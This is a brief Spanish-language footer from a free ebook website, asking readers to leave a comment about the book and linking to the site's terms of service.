Para mostrar tu agradecimiento al autor y ayudar a otros para tener agradables experiencias de lectura y encontrar informacin valiosa, estaremos muy agradecidos si "publicas un comentario para este libro aqu" .
http://espanol.free-ebooks.net/tos.html